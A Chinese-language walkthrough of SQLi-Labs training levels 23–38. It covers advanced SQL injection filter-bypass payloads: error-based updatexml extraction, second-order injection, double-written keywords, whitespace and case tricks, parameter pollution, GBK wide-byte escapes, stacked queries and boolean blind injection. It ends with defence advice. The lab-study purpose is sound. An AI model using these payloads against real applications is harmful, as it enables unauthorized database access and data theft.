SQLi_Labs-3.Advanced Injections
字数 860 2025-08-11 17:40:05
SQL注入高级技巧与绕过方法详解
1. 注释符被过滤的绕过方法
在Less-23中,#和--+被过滤时,可以使用or "1"="1"来闭合SQL语句:
-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
这种方法通过逻辑或运算确保整个条件为真,同时闭合了引号。
2. 二次注入攻击
Less-24展示了二次注入的典型案例:
- 创建一个恶意用户:
admin'#,密码为123456 - 修改此用户密码时,SQL语句变为:
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx #注释掉了后续条件,导致实际修改的是admin用户的密码
3. 关键词过滤绕过技巧
3.1 逻辑运算符替换
Less-25中or、and被过滤时:
admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23
使用||代替or,&&代替and
3.2 双写绕过
0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;%23
通过双写被过滤的关键词部分(information→infoorrmation)来绕过
4. 空格与注释过滤的绕过
4.1 换行符替代空格
Less-26中,使用%0a代替空格:
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1
4.2 其他空白字符
Less-26a使用%a0绕过:
0%27)%a0union%a0select%a01,database(),2||('1
5. UNION和SELECT过滤的绕过
5.1 大小写混合
Less-27中:
0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
5.2 双写绕过
selEct%0agroup_concat(schema_name)%0afrom%0Ainformation_schema.schemata
6. 参数解析差异利用
Less-29至Less-31利用了Tomcat与Apache解析参数的差异:
- Tomcat取第一个参数值
- Apache取最后一个参数值
?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
7. 宽字节注入
Less-32至Less-37展示了GBK编码环境下的宽字节注入:
0%df%27%20or%201=1%23
原理:%df与反斜杠\组合成GBK字符,使单引号逃逸
8. 堆叠注入
Less-38展示了堆叠注入(Stacked Queries):
1';create table test38 like users;%23
这种技术允许执行多条SQL语句,危害极大
9. 报错注入技术
多种报错注入方法:
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
利用XML函数故意制造错误来泄露信息
10. 盲注技术
当直接注入不可用时:
0'||left(database(),1)='s'%26%26'1'='1
通过布尔条件判断逐步获取信息
防御建议
- 使用参数化查询
- 实施严格的输入验证
- 对特殊字符进行转义
- 使用最小权限原则
- 禁用错误信息回显
- 使用WAF防护
- 定期进行安全审计
以上技术仅用于学习防御方法,请勿用于非法用途。